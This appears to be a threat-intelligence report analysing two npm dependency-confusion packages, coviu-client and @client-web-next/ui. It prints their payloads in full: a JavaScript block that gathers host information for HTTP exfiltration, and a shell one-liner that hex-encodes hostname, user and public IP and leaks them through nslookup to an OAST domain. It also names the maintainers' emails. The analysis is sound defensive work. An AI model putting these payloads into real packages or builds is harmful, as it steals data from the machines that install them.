Veredito:MALICIOUS — Active dependency confusion with DNS exfil

▸Visão Geral

Two active dependency confusion attacks targeting internal corporate packages. coviu-client@9.9.9 uses classic HTTP POST to an OAST endpoint with system info. @client-web-next/ui@9.999.3 uses a more sophisticated DNS exfiltration technique — it converts system info to hex and sends it via nslookup subdomains, effectively bypassing HTTP-blocking firewalls. Both use version squatting (9.9.9, 9.999.3) to override internal package resolution.

2

Packages

DNS

Exfil Method

9.999

Version Squat

Corp

Target Type

▸Fluxo do Ataque

Version Squatting

Both packages use inflated version numbers (9.9.9, 9.999.3) to win npm version resolution over legitimate internal packages.

HTTP Exfiltration

coviu-client collects hostname, username, platform, cwd, and node version. POSTs to kyvwaxnnaeqspwsjdgbphlrf5t5wwfi60.oast.fun/coviu-poc.

DNS Exfiltration

@client-web-next/ui converts system info to hex via xxd -p, then sends via nslookup $hex.d77sgkar47ngfv2rgnggn356sog1qsaji.oast.live — bypasses HTTP firewalls.

IP Leak

Also calls curl https://ifconfig.me to leak the build server's public IP address.

▸MITRE ATT&CK Mapeamento

T1195.002Supply Chain Compromise — dependency confusion

T1059.007JavaScript Execution — preinstall hook

T1048.003Exfiltration Over Alternative Protocol — DNS exfiltration

T1592Gather Victim Host Information — hostname/user/IP recon

▸Tags

Dependency ConfusionDNS ExfiltrationVersion SquattingOASTCorporate

▸Relatório Completo

Dependency Confusion: coviu-client + @client-web-next/ui

TL;DR

Two active dependency confusion attacks targeting internal corporate packages. One uses classic HTTP exfiltration, the other uses DNS exfiltration to bypass firewalls.

Package 1: coviu-client@9.9.9

Maintainer: m0hamedtayel (m.tayel2004@gmail.com)
Version: 9.9.9 (version squatting)
Description: "PoC - dependency confusion"
Published: 2026-04-03T14:11 UTC

Payload (verified)

const data = JSON.stringify({
  hostname: os.hostname(),
  username: os.userInfo().username,
  platform: os.platform(),
  whoami: process.env.USER || process.env.USERNAME || 'unknown',
  cwd: process.cwd(),
  node: process.version,
});
// POST to kyvwaxnnaeqspwsjdgbphlrf5t5wwfi60.oast.fun/coviu-poc

IOC

kyvwaxnnaeqspwsjdgbphlrf5t5wwfi60.oast.fun

Package 2: @client-web-next/ui@9.999.3

Maintainer: papadope (xristos8170@gmail.com)
Version: 9.999.3 (version squatting)
Description: "Security research - dependency confusion PoC"

Payload (verified)

exec("a=$(hostname;pwd;whoami;echo 'client-web-next-ui';curl https://ifconfig.me) && echo $a | xxd -p | head | while read ut;do nslookup $ut.d77sgkar47ngfv2rgnggn356sog1qsaji.oast.live;done")

DNS exfiltration — converts system info to hex, sends via nslookup subdomains. Bypasses HTTP-blocking firewalls.